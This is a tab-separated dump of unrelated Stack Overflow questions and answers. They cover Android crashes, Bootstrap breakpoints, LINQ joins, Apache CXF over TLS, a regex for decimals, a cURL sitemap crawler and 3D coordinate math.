com.artechin.mbtkatalog.PhotoGallery.onCreate(PhotoGallery.java:94) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.app.Activity.performCreate(Activity.java:5188) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1094) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2074) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2135) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.app.ActivityThread.access$700(ActivityThread.java:140) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1237) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.os.Handler.dispatchMessage(Handler.java:99) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.os.Looper.loop(Looper.java:137) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.app.ActivityThread.main(ActivityThread.java:4921) 06-27 11:13:13.202: E/AndroidRuntime(17373): at java.lang.reflect.Method.invokeNative(Native Method) 06-27 11:13:13.202: E/AndroidRuntime(17373): at java.lang.reflect.Method.invoke(Method.java:511) 06-27 11:13:13.202: E/AndroidRuntime(17373): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1038) 06-27 11:13:13.202: E/AndroidRuntime(17373): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:805) 06-27 11:13:13.202: E/AndroidRuntime(17373): at dalvik.system.NativeStart.main(Native Method) </code></pre> <p>How can I solve the problem?</p>
3799591	0	 <p>You should be referencing $ variable like this:</p> <pre><code>$("body",window.content) </code></pre> <p>Also I have also used jQuery in my firefox extension it works seamlessly with no issues at all. </p>
9994343	0	Javascript call a c function at the server side <p>Is there a way i can call c functions from JavaScript at server side . and if possible back from c to javascript.</p>
36588180	0	Customized bootstrap doesn't have breakpoint for XS screen size <p>I only wanted the CSS for the Grid layout and Responsive utilities, so I customized boostrap for my application here - <a href="http://getbootstrap.com/customize/?id=568dcb34f5eabdd2e526e20c7041d8bc" rel="nofollow noreferrer">http://getbootstrap.com/customize/?id=568dcb34f5eabdd2e526e20c7041d8bc</a></p> <p>Part of the default settings on that page define where common breakpoints are -</p> <p><a href="https://i.stack.imgur.com/bB513.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bB513.png" alt="enter image description here"></a></p> <p>When I downloaded my customized file, I noticed media queries for the breakpoints 768px, 992px, and 1200px. But I didn't see anything about 480px.</p> <p>Is there a reason for that? I know the CSS file is structured to applyl to the smallest resolution first and then increase in resolution progressively, but wouldn't their still be a break point for less than and greater than 480px? </p>
31151373	0	 <pre><code>Today at 14:34 Yesterday at 10:20 2 days ago (02/02/2015 12:43) Last week (04/01/2015 12:42) </code></pre> <p>You can format the date and time format using custom DateTime format strings. The other part you will need to code in your own logic.</p> <p><a href="https://msdn.microsoft.com/en-us/library/8kb3ddd4(v=vs.110).aspx" rel="nofollow">MSDN: Custom DateTime Format Strings</a></p> <pre><code>DateTime dd = now; dd.ToString("HH:mm"); dd.ToString("dd/MM/yyyy HH:mm"); </code></pre>
30378210	0	Increased Ram Usage on android device <p>I run the following code to start a service:</p> <pre><code>public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState){ super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent = new Intent(this, CreatingService.class); startService(intent); //finish(); } } </code></pre> <p>This initially takes 13-14 MB of memory when seen in the task manager. When i go back to home screen and kill the activity (swiping off from recent list) the service gets recreated(<code>START_STICKY</code>) and it takes around 3-4 MB of memory from then on. Also if the <code>finish()</code> was not commented off in the above code it would take 3-4 MB again. But I cannot do this.</p> <p>Can anyone explain what exactly is happening and a workaround for this?</p>
17567297	0	How can I read the value of a custom field from my Sitecore Webforms? <p>I'm using Sitecore WebForms for Marketeers. I have created a custom field with a custom property. The custom field works fine.</p> <p>I want to read the custom property when I click on the submit button, but I do not know how I can read the custom property.</p> <p>In the field value is the C# parameter property, but this is null. How can I read the value of the custom property?</p> <p>Relevant code:</p> <pre class="lang-cs prettyprint-override"><code> //Set values in dictionary var values = new Dictionary&lt;String, String&gt;(); foreach (AdaptedControlResult field in fields) { values.Add(field.FieldName, field.Value); } </code></pre>
12706480	0	 <p>With the <code>extern</code> clause you are telling the compiler to resolve that symbol when it links. After linking, in the binary file there will be just one symbol with the name <code>ptr_to_var</code>. You, of course, must assure that it gets initialised somewhere. In the code you pasted, we cannot know whether it's been initialised or not. Though it seems you didn't. </p> <p>By the way, try to make an <code>nm</code> to the libraries. You will see the symbols that you specified as <code>extern</code> as undefined (capital u), except in that library or object file where is it indeed defined (i.e., declared without the <code>extern</code> clause).</p>
33336197	0	 <p>If you suspect that some other process or thread in your app is taking too much CPU time then use:</p> <p>GetThreadTimes under windows </p> <p>or</p> <p>clock_gettime with CLOCK_THREAD_CPUTIME_ID under linux</p> <p>to measure threads CPU time your function was being executed. This will exclude from your measurements time other threads/processes were executed during profiling.</p>
27785759	0	Get Absolute Path Relative to DLL location <p>I have a dll that depends on some external files. I have relative paths (relative to the dll location) to those files.</p> <p>I need to be able to load/read those files from the DLL.</p> <p>To find the absolute path to the files I was using:</p> <pre><code>System.IO.Path.GetFullPath(filePath); </code></pre> <p>It seemed to be working, but I found that this is actually returning a path relative to the 'current directory'. I found that the current directory changes at some point from the dll location (and may never even be the dll path).</p> <p>What's the easiest way to get the absolute path of the files relative to the DLL from code running in the DLL?</p> <p>I was going to use the following, but found that it returns the path to the EXE that has loaded the DLL, not the DLL path:</p> <pre><code>AppDomain.CurrentDomain.BaseDirectory </code></pre>
14422947	0	 <p>I ended up writing my own algorithm to break the text only on whitespace. I had originally used the <a href="http://developer.android.com/reference/android/graphics/Paint.html#breakText%28java.lang.CharSequence,%20int,%20int,%20boolean,%20float,%20float%5b%5d%29">breakText</a> method of <a href="http://developer.android.com/reference/android/graphics/Paint.html">Paint</a>, but was having some issues (that may actually be resolved in this version of the code, but that's OK). This isn't my best chunk of code, and it could definitely be cleaned up a bit, but it works. Since I'm overriding <a href="http://developer.android.com/reference/android/widget/TextView.html">TextView</a>, I just call this from the <a href="http://developer.android.com/reference/android/view/View.html#onSizeChanged%28int,%20int,%20int,%20int%29">onSizeChanged</a> method to ensure that there's a valid width.</p> <pre class="lang-js prettyprint-override"><code>private static void breakManually(TextView tv, Editable editable) { int width = tv.getWidth() - tv.getPaddingLeft() - tv.getPaddingRight(); if(width == 0) { // Can't break with a width of 0. return false; } Paint p = tv.getPaint(); float[] widths = new float[editable.length()]; p.getTextWidths(editable.toString(), widths); float curWidth = 0.0f; int lastWSPos = -1; int strPos = 0; final char newLine = '\n'; final String newLineStr = "\n"; boolean reset = false; int insertCount = 0; //Traverse the string from the start position, adding each character's //width to the total until: //* A whitespace character is found. In this case, mark the whitespace //position. If the width goes over the max, this is where the newline //will be inserted. //* A newline character is found. This resets the curWidth counter. //* curWidth &gt; width. Replace the whitespace with a newline and reset //the counter. while(strPos &lt; editable.length()) { curWidth += widths[strPos]; char curChar = editable.charAt(strPos); if(((int) curChar) == ((int) newLine)) { reset = true; } else if(Character.isWhitespace(curChar)) { lastWSPos = strPos; } else if(curWidth &gt; width &amp;&amp; lastWSPos &gt;= 0) { editable.replace(lastWSPos, lastWSPos + 1, newLineStr); insertCount++; strPos = lastWSPos; lastWSPos = -1; reset = true; } if(reset) { curWidth = 0.0f; reset = false; } strPos++; } if(insertCount != 0) { tv.setText(editable); } } </code></pre>
14722981	0	 <p>I started out with Qiulang answer, but it didn't work for me. What worked for me is to call the setAssetsFilter 3 times in a row with all filter combinations, before starting the enumeration.</p> <pre><code>[group setAssetsFilter:[ALAssetsFilter allPhotos]]; [group setAssetsFilter:[ALAssetsFilter allVideos]]; [group setAssetsFilter:[ALAssetsFilter allAssets]]; </code></pre>
12412722	0	 <p>Fatal errors don't produce 500 errors in and of themselves, they would return 200 with blank page typically (if no output had been flushed to browser at the point of the error) . Plus this will not help you anyway, as Apache would be no longer involved when PHP is having the error.</p> <p>Maybe you could register a shutdown function to send 500 header (to get 500 result) and display the content you want to display.</p>
39644633	0	 <p>I also lost a half of day trying to fix this.</p> <p>It appeared that root was my project pom.xml file with dependency:</p> <pre><code> &lt;dependency&gt; &lt;groupId&gt;javax.servlet.jsp&lt;/groupId&gt; &lt;artifactId&gt;jsp-api&lt;/artifactId&gt; &lt;version&gt;2.1&lt;/version&gt; &lt;scope&gt;provided&lt;/scope&gt; &lt;/dependency&gt; </code></pre> <p>Other members of the team had no problems. At the end it appeared, that I got newer tomcat which has different version of jsp-api provided (in tomcat 7.0.60 and above it will be jsp-api 2.2).</p> <p>So in this case, options would be:</p> <pre><code>a) installing different (older/newer) tomcat like (Exactly what I did, because team is on older version) b) changing dependency scope to 'compile' c) update whole project dependencies to the actual version of Tomcat/lib provided APIs d) put matching version of the jsp-api.jar in {tomcat folder}/lib </code></pre>
30984528	0	 <p>This is usually an indication that you're mixing dirty dlls with different versions together. Try uninstalling all NuGet packages, delete the NuGet <code>/packages</code> folder than installing all NuGet packages again and check that the <code>/packages</code> folder is only using the same version of ServiceStack for all its NuGet packages.</p>
35304510	0	 <p>First of all. You should use only one column for a date whenever is possible.</p> <p>But in your case, your columns are VARCHAR type. Try something like this.</p> <pre><code>SELECT * FROM table_name where YEAR = '2016' order by CONVERT(Int,YEAR), (CASE MONTH WHEN 'January' THEN 1 WHEN 'February' THEN 2 WHEN 'March' THEN 3 WHEN 'April' THEN 4 WHEN 'May' THEN 5 WHEN 'June' THEN 6 WHEN 'July' THEN 7 WHEN 'August' THEN 8 WHEN 'September' THEN 9 WHEN 'October' THEN 10 WHEN 'November' THEN 11 WHEN 'December' THEN 12), CONVERT(Int,DDATE), CONVERT(TIME, TIME) </code></pre>
30912830	0	Cannot find android sdk in eclipse <p>How to get android sdk 5.0 api 21 - not available in eclipse android sdk manager Please tell me the solution. Thank you very much.</p>
2365517	0	 <p>I don't know if this will help with your problem, but in any case: jQuery is selector-based, so use classes instead of IDs (remove the #s everywhere and change the corresponding id/name attributes to class attributes) and your code will be much more generic, hence more reusable and maintainable.</p>
27145931	0	 <p>Just use pixelOffset property:</p> <pre><code>var infoWindow = new google.maps.InfoWindow({pixelOffset:new google.maps.Size(0, -100)}); </code></pre>
11123221	0	Apache CXF via TLS <p>Update on 06/21/2012 A little update. Today I finally caught the exception which is preventing me from connecting to the server. Here is what I get after calling <code>getInputStream()</code>:</p> <pre><code>javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target </code></pre> <p>===========================================================</p> <p><strong>Original message:</strong></p> <p>I'm trying to make my client (the client is not written entirely by me) work with a published web service over TLS (the client works over http). I'm new to this area I've never worked with web services closely before. I've checked with soapUI that the web service is correctly published and accessible. The address is <strong>https://:9080/SOAOICCT/services/SessionService?wsdl</strong>. I can send a request and receive a reply. But my client throws a lot of exceptions. Here are the most important:</p> <pre><code>javax.xml.ws.WebServiceException: org.apache.cxf.service.factory.ServiceConstructionException: Failed to create service. at &lt;My class.my method&gt;(SessionServiceDAO.java:548) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) ...... Caused by: javax.xml.ws.WebServiceException: org.apache.cxf.service.factory.ServiceConstructionException: Failed to create service. at org.apache.cxf.jaxws.ServiceImpl.&lt;init&gt;(ServiceImpl.java:150) at org.apache.cxf.jaxws.spi.ProviderImpl.createServiceDelegate(ProviderImpl.java:65) at javax.xml.ws.Service.&lt;init&gt;(Service.java:56) ......... Caused by: javax.wsdl.WSDLException: WSDLException: faultCode=PARSER_ERROR: java.lang.IllegalArgumentException: InputSource must have a ByteStream or CharacterStream at org.apache.cxf.wsdl11.WSDLManagerImpl.loadDefinition(WSDLManagerImpl.java:226) at org.apache.cxf.wsdl11.WSDLManagerImpl.getDefinition(WSDLManagerImpl.java:179) at org.apache.cxf.wsdl11.WSDLServiceFactory.&lt;init&gt;(WSDLServiceFactory.java:91) ... 70 more Caused by: java.lang.IllegalArgumentException: InputSource must have a ByteStream or CharacterStream at org.apache.cxf.staxutils.StaxUtils.createXMLStreamReader(StaxUtils.java:983) at org.apache.cxf.wsdl11.WSDLManagerImpl.loadDefinition(WSDLManagerImpl.java:217) ... 72 more </code></pre> <p>I've tracked this issue to the method <code>java.net.HttpURLConnection.getResponseCode()</code>. Here it is:</p> <pre><code>public int getResponseCode() throws IOException { /* * We're got the response code already */ if (responseCode != -1) { return responseCode; } /* * Ensure that we have connected to the server. Record * exception as we need to re-throw it if there isn't * a status line. */ Exception exc = null; try { getInputStream(); } catch (Exception e) { exc = e; } </code></pre> <p>I get an exception at <code>getInputStream()</code> and never actually connect to the server. This exception is later swallowed in <code>org.apache.cxf.transport.TransportURIResolver.resolve(String, String)</code> here</p> <pre><code>} catch (Exception e) { //ignore } </code></pre> <p>The issue seems to be something very simple like authentication or a parameter. Are there any obvious reasons why I cannot connect to the web service? I'm a newbie I can make even a very simple mistake.</p> <p>Here is my <code>http:conduit</code>:</p> <pre><code>&lt;http:conduit name="*.http-conduit"&gt; &lt;http:tlsClientParameters secureSocketProtocol="TLS"&gt; &lt;sec:trustManagers&gt; &lt;sec:keyStore type="JKS" password="123123" file="config.soa.client/trustedCA.keystore"/&gt; &lt;/sec:trustManagers&gt; &lt;sec:cipherSuitesFilter&gt; &lt;sec:include&gt;SSL_RSA_WITH_RC4_128_MD5&lt;/sec:include&gt; &lt;sec:include&gt;SSL_RSA_WITH_RC4 _128_SHA&lt;/sec:include&gt; &lt;sec:include&gt;SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA&lt;/sec:include&gt; &lt;sec:include&gt;.*_EXPORT_.*&lt;/sec:include&gt; &lt;sec:include&gt;.*_EXPORT1024_.*&lt;/sec:include&gt; &lt;sec:include&gt;.*_WITH_DES_.*&lt;/sec:include&gt; &lt;sec:include&gt;.*_WITH_NULL_.*&lt;/sec:include&gt; &lt;sec:exclude&gt;.*_DH_anon_.*&lt;/sec:exclude&gt; &lt;/sec:cipherSuitesFilter&gt; &lt;/http:tlsClientParameters&gt; &lt;/http:conduit&gt; </code></pre> <p>A little update. Today I finally caught the exception which is preventing me from connecting to the server. Here is what I get after calling <code>getInputStream()</code>:</p> <pre><code>javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target </code></pre>
26130457	0	LINQ JOIN and OUTER JOIN - How to turn SQL into LINQ expression <p>I would like to turn the following SQL query into a LINQ expression (using Entity Framework 6.1). Thus far I have been unable find an acceptable LINQ expression that produces similar results. Any help turning this simple SQL statement into a LINQ express would be appreciated.</p> <pre><code>SELECT AAG.Id AS GroupId, A.Id AS ActivityId, A.Title As Title, CASE WHEN AA.CompletedOn IS NULL THEN CAST(1 AS bit) ELSE CAST(0 AS bit) END AS Completed, COALESCE(AAG.PointValue, 0) + SUM(COALESCE(AQ.PointValue, 0)) AS PointTotal FROM ActivityAssignmentGroup AAG INNER JOIN ActivityAssignment AA ON AA.GroupId = AAG.Id INNER JOIN Activity A ON AA.ActivityId = A.Id LEFT OUTER JOIN ActivityQuestion AQ ON AQ.ActivityId = A.Id WHERE AAG.AssignedToId = 6 GROUP BY AAG.Id, A.Id, A.Title, CASE WHEN AA.CompletedOn IS NULL THEN CAST(1 AS bit) ELSE CAST(0 AS bit) END, COALESCE(AAG.PointValue,0) </code></pre> <p>Without the LEFT OUTER JOIN portion, the below LINQ statement is partially complete, but I cannot figure out the appropriate syntax to add the LEFT OUTER JOIN condition:</p> <pre><code>var assignments = await (from g in db.AssignmentGroups.AsNoTracking().Where(x =&gt; x.AssignedToId == studentTask.Result.PersonId) join aa in db.ActivityAssignments.AsNoTracking() on g.Id equals aa.GroupId join a in db.Activities.AsNoTracking() on aa.ActivityId equals a.Id select new ActivityListViewModel { Id = a.Id, Points = g.PointValue ?? 0, Title = a.Title, GroupId = g.Id, Complete = (aa.CompletedOn != null) }); </code></pre> <p>Edit:</p> <p>Thanks for the response Bob. I attempted to use the DefaultIfEmpty and looked at the resultant SQL query generated by the Entity Framework, but it didn't work. Prior to making this post, this is the LINQ statement I attempted:</p> <pre><code>var assignments = from g in db.AssignmentGroups.AsNoTracking().Where(x =&gt; x.AssignedToId == studentTask.Result.PersonId) join aa in db.ActivityAssignments.AsNoTracking() on g.Id equals aa.GroupId join a in db.Activities.AsNoTracking() on aa.ActivityId equals a.Id from aq in db.ActivityQuestions.Where(q =&gt; q.ActivityId == a.Id).DefaultIfEmpty() group aq by new { ActivityId = aq.ActivityId, Title = a.Title, GroupId = g.Id, Points = g.PointValue ?? 0, Completed = (aa.CompletedOn != null) } into s select new ActivityListViewModel { Id = s.Key.ActivityId, Points = s.Key.Points + s.Sum(y =&gt; y.PointValue ?? 0), //g.PointValue ?? 0, Title = s.Key.Title, GroupId = s.Key.GroupId, Complete = s.Key.Completed }; </code></pre> <p>Of course, it didn't work either. The result was items missing the Id (ActivityId).</p>
33677985	0	 <p>You can use</p> <pre><code>^(?!0$)\d+(?:[,.][05])?$ </code></pre> <p>See <a href="https://regex101.com/r/iJ6dY5/7" rel="nofollow">demo</a></p> <p>This will match your required numbers and will exclude a <code>0</code>-only number thanks to the look-ahead at the beginning.</p> <p>Main changes:</p> <ul> <li><code>\d+</code> - replaced <code>[1-9]\d*</code> to allow a <code>0</code> as the integer part</li> <li><code>[,.]</code> - replace <code>\.</code> to allow a comma as a decimal separator.</li> <li>The lookahead adds a <code>0</code>-number exception.</li> </ul> <p>The lookahead can be enhanced to disallow <code>0.000</code>-like input:</p> <pre><code>^(?!0+(?:[,.]0+)?$)\d+(?:[,.][05])?$ </code></pre> <p>See <a href="https://regex101.com/r/iJ6dY5/6" rel="nofollow">another demo</a>.</p>
23465475	0	 <p>Try the following:</p> <pre><code> var parts = table_id.split('_'); var num = parts[1]; // it would be the number you want </code></pre> <p>For more detail on <code>split()</code> check <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split" rel="nofollow">this link</a></p> <p>Or you may try the following:</p> <pre><code>var regex = /.*_(\d+)/; var num = table_id.replace(regex, '$1') </code></pre>
26067681	0	 <p><a href="https://www.digitalocean.com/community/tutorials/how-to-manually-install-oracle-java-on-a-debian-or-ubuntu-vps" rel="nofollow">This post</a>, which I found by Googling "download jdk8 linux 64 ubuntu", answers your question. Use:</p> <pre><code>$ wget --header "Cookie: oraclelicense=accept-securebackup-cookie" \ http://download.oracle.com/otn-pub/java/jdk/8u20-b26/jdk-8u20-linux-x64.tar.gz </code></pre> <p>and follow instructions to install it.</p>
9263742	0	 <p>Perhaps:</p> <pre><code>select a.name, a.uniqueCustID, a.info1, b.info2, c.info3 from table1 a left outer join table1 b on b.pk = a.pk and b.info1 is not null left outer join table1 c on c.pk = a.pk and c.info2 is not null </code></pre> <p>The left outer joins are needed because you don't know in advance if a user will have 1, 2 or 3 records with data. This way, if there is no data, a null will be inserted in the corresponding field.</p>
28432773	0	 <p>When I run into this issue, its always because I choose the wrong type data type.. The data type for the child column must match the parent column exactly.</p> <p>Example: table.key = int &amp; table.child=vchar</p> <p>For me, its always that! Hope that helps.</p>
28095209	0	IIS blocking LFTP command <p>I'm trying to execute a LFTP command using the <code>system()</code> PHP method in a IIS 7.0 site.</p> <pre><code>$command = 'cmd /c lftp -c "open -u name,password -p 22 sftp://server.mylife.com ; cd test/portal/template ; put /cygdrive/c/inetpub/uploads/cata/exports/tpl_1421946484/cata.csv;"'; system($command); </code></pre> <p>I put it in a PHP file. If if run it directly by the command line <code>php sendFile.php</code> it works fine. But if I access this same php file throught a IIS 7.0 website, I got nothing and no error.</p> <p>I can't understand where it comes from...!</p> <p>Any help ?</p>
19228104	0	 <p>It seems that it´s a documented service now: <a href="https://developer.here.com/rest-apis/documentation/enterprise-map-tile" rel="nofollow">https://developer.here.com/rest-apis/documentation/enterprise-map-tile</a> </p>
2670599	0	Remove all styles from dynamic label in asp.net <p>I have a label and I got some text from database. text format like: Windows Server 2008 ...etc But sometimes there are different fonts or something like style. How can I remove all of them quickly?</p> <p>I know I can make it with replace command. But is there any quick way for it?</p>
31791365	0	Cocoapod 0.38.0 and AFNetworking 2.5 AF_APP_EXTENSIONS compilation error <p>My project has 9 targets : </p> <pre><code>- Prod - Prod_app_extension_1 - Prod_app_extension_2 - Beta - Beta_app_extension_1 - Beta_app_extension_2 - Dev - Dev_app_extension_2 - Dev_app_extension_2 </code></pre> <p>I'm using 0.38.2 cocoapod version and 2.5.4 AFNetworking.</p> <p>I'm trying to use AFNetworking with cocoapod but I get the <em>AF_APP_EXTENSIONS</em> error while compiling. After searching for the solution on the web, I understand the problem and found that defining the 'preprocessor macros' <em>AF_APP_EXTENSIONS</em> can fix the problem. </p> <p>But here is the struggle : By default, <em>AF_APP_EXTENSIONS</em> is correctly added into my 6 app_extensions. In the other hand, when I navigate through my Pods target, <strong>each Pods are separated</strong> :</p> <pre><code>- NSDate+TimeAgo - AFNetworking - iRate - AppUtils - Prod - Prod_app_extension_1 - Prod_app_extension_2 - Beta - Beta_app_extension_1 - Beta_app_extension_2 - Dev - Dev_app_extension_2 - Dev_app_extension_2 </code></pre> <p>In another project I made, all pods are generated this way : </p> <pre><code>- Prod - Pods-Prod-NSDate+TimeAgo - Pods-Prod-AFNetworking - Pods-Prod-iRate - Pods-Prod-AppUtils - Prod_app_extension_1 - Pods-Prod_app_extension_1-NSDate+TimeAgo - Pods-Prod_app_extension_1-AFNetworking - Pods-Prod_app_extension_1-iRate - Prod_app_extension_2 - Pods-Prod_app_extension_2-NSDate+TimeAgo - Pods-Prod_app_extension_2-AFNetworking - Pods-Prod_app_extension_2-iRate - Beta - Pods-Beta-NSDate+TimeAgo - Pods-Beta-AFNetworking - Pods-Beta-iRate - Pods-Beta-AppUtils - Beta_app_extension_1 - Pods-Beta_app_extension_1-NSDate+TimeAgo - Pods-Beta_app_extension_1-AFNetworking - Pods-Beta_app_extension_1-iRate - Beta_app_extension_2 - Pods-Beta_app_extension_2-NSDate+TimeAgo - Pods-Beta_app_extension_2-AFNetworking - Pods-Beta_app_extension_2-iRate - Dev - Pods-Dev-NSDate+TimeAgo - Pods-Dev-AFNetworking - Pods-Dev-iRate - Pods-Dev-AppUtils - Dev_app_extension_1 - Pods-Dev_app_extension_1-NSDate+TimeAgo - Pods-Dev_app_extension_1-AFNetworking - Pods-Dev_app_extension_1-iRate - Dev_app_extension_2 - Pods-Dev_app_extension_2-NSDate+TimeAgo - Pods-Dev_app_extension_2-AFNetworking - Pods-Dev_app_extension_2-iRate </code></pre> <p>I think this is why my 'preprocessor macros' <em>AF_APP_EXTENSIONS</em> isn't define into the 'AFNetworking' Pods target. </p> <p>Here is my Podfile :</p> <pre><code>platform :ios, '7.0' xcodeproj 'myProj.xcodeproj' def generic_pods pod 'NSDate+TimeAgo' pod 'AFNetworking', '~&gt; 2.0' end def app_pods pod 'iRate' pod 'AppUtils', end target "Prod" do generic_pods app_pods end target "Prod_app_extension_1" do generic_pods end target "Prod_app_extension_2" do generic_pods end target "Beta" do generic_pods app_pods end target "Beta_app_extension_1" do generic_pods end target "Beta_app_extension_2" do generic_pods end target "Dev" do generic_pods app_pods end target "Dev_app_extension_1" do generic_pods end target "Dev_app_extension_2" do generic_pods end </code></pre> <p>I don't know what the problem is, and it's driving me crazy. </p>
30633760	0	 <p><sup>Disclaimer: I'm using Selenium's .NET bindings, not Java. I don't think that will make a difference in this case.</sup></p> <p><a href="https://duckduckgo.com/l/?kh=-1&amp;uddg=https%3A%2F%2Fcode.google.com%2Fp%2Fselenium%2Fissues%2Fdetail%3Fid%3D8399" rel="nofollow">Selenium 2.44 had an issue with Firefox <strong>36</strong></a>, but this was resolved in Selenium 2.45. It's possible that Firefox versions between 29 and 35 might be incompatible with Selenium 2.45, although this is just a guess on my part.</p> <hr> <p>I had an issue with Seleinum 2.45 driving Firefox version <strong>38</strong>: when instantiating the Firefox driver with no profile, an instance of Firefox would load and immediately crash to desktop; subsequently another instance would load as normal.</p> <p>I found that the issue didn't occur when instantiating the Selenium Firefox driver from an existing profile, so my workaround was to create a blank profile, launch Selenium's Firefox driver using a <em>temporary copy</em> of that profile; then at the conclusion of the test, delete the temporary copy.</p> <p>Try <a href="http://docs.seleniumhq.org/docs/03_webdriver.jsp#firefox-driver" rel="nofollow">launching the Firefox driver with an existing profile</a>.</p>
25323774	0	Some users report ClassNotFoundException for launch activity <p>Some users are reporting a crash for my App which I cannot reproduce or even verify.</p> <pre><code>java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{my.app/com.example.activity.SplashScreenActivity}: java.lang.ClassNotFoundException: Didn't find class "com.example.activity.SplashScreenActivity" on path: /mnt/asec/my.app-1/pkg.apk at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2219) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2349) at android.app.ActivityThread.access$700(ActivityThread.java:159) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1316) at android.os.Handler.dispatchMessage(Handler.java:99) at android.os.Looper.loop(Looper.java:176) at android.app.ActivityThread.main(ActivityThread.java:5419) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:525) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1046) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:862) at dalvik.system.NativeStart.main(Native Method) Caused by: java.lang.ClassNotFoundException: Didn't find class "com.example.activity.SplashScreenActivity" on path: /mnt/asec/my.app-1/pkg.apk at dalvik.system.BaseDexClassLoader.findClass(BaseDexClassLoader.java:64) at java.lang.ClassLoader.loadClass(ClassLoader.java:501) at java.lang.ClassLoader.loadClass(ClassLoader.java:461) at android.app.Instrumentation.newActivity(Instrumentation.java:1078) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2210) ... 11 more </code></pre> <p>My problem is I get some negative reviews from people who seem unable starting the App at all. I downloaded it on all my test devices from the Play Store and it ran fine.</p> <p>The systems reported to me where Android 4.1 (Huawei Phone), Android 4.3 (Galaxy S3) and Android 4.4 (Galaxy Note 2).</p> <p>I disassembled my apk and checked that the class is in fact contained, and referenced properly. And as previously mentioned, none of the devices available to me can reproduce the problem.</p>
1213420	0	 <p><code>malloc</code> is for memory allocation. <code>num + 1</code> is to allow for the null-terminator - <code>\0</code>.</p>
12733257	0	PHP cURL sitemap generator <p>Hi All I am having a problem with my sitemap generator it works great on a few thousand URLS but when it gets to 20000 URL it starts to go wrong is there anything else i can be doing to help prevent this </p> <pre><code>$request_url ="http://www.example.com";//put your url here $url=str_replace("http://", "", $request_url); // i added this because to check if wwwdomain.com is in the url $alllinks=array();// create an array for all the links $alllinks2=array();// create an array for all the links $alllinks3=array();// create an array for all the links $newUrl=array();// create an array for all the links $badUrls=array("basket", "#" ,"mailto", "javascript:document", "reviews.php", "review.php","tab=",".JPG",".jpg","png","PNG","gif","GIF","item_id=","../", "pn_pr");// array of urls we dont want to include $ch = curl_init(); //search for links curl_setopt($ch, CURLOPT_USERAGENT, $userAgent); curl_setopt($ch, CURLOPT_URL, $request_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch,CURLOPT_VERBOSE,false); curl_setopt($ch, CURLOPT_TIMEOUT, 900); $result = curl_exec($ch); </code></pre> <p>Thank you</p>
37786856	0	 <p>I ended up using ti.imagefactory module. The zip files for android and ios I found here: <a href="https://github.com/appcelerator-modules/ti.imagefactory/releases" rel="nofollow">https://github.com/appcelerator-modules/ti.imagefactory/releases</a></p> <p>Example can be found here: <a href="https://github.com/appcelerator-modules/ti.imagefactory/blob/stable/ios/example/app.js" rel="nofollow">https://github.com/appcelerator-modules/ti.imagefactory/blob/stable/ios/example/app.js</a></p> <p>I used code from the examples in my app and it seems to work fine!</p>
11654439	0	 <p>If it's an older, non-OpenXML version of version of Excel you can use NPOI, it's available for download here:</p> <p><a href="http://npoi.codeplex.com/" rel="nofollow">http://npoi.codeplex.com/</a></p> <pre><code>HSSFWorkbook workbook; using (FileStream fs = new FileStream(sheetfilename + ".xls", FileMode.Open, FileAccess.Read)) { workbook = new HSSFWorkbook(fs); var sheet = workbook.GetSheet("Sheet1"); ...do something.. } </code></pre>
23776910	0	Finding absolute coordinates from relative coordinates in 3D space <p>My question is fairly difficult to explain, so please bear with me. I have a random object with Forward, Right, and Up vectors. Now, imagine this particular object is rotated randomly across all three axis randomly. How would I go about finding the REAL coordinates of a point relative to the newly rotated object?</p> <p>Example: <img src="https://i.stack.imgur.com/LfEtJ.png" alt="enter image description here"></p> <p>How would I, for instance, find the forward-most corner of the cube given its Forward, Right, and Up vectors (as well as its coordinates, obviously) assuming that the colored axis is the 'real' axis.</p> <p>The best I could come up with is:</p> <pre><code>x=cube.x+pointToFind.x*(forward.x+right.x+up.x) y=cube.y+pointToFind.y*(forward.y+right.y+up.y) z=cube.z+pointToFind.z*(forward.z+right.z+up.z) </code></pre> <p>This worked sometimes, but failed when one of the coordinates for the point was 0 for obvious reasons.</p> <p>In short, I don't know what do to, or really how to accurately describe what I'm trying to do... This is less of a programming questions and more of a general math question.</p>
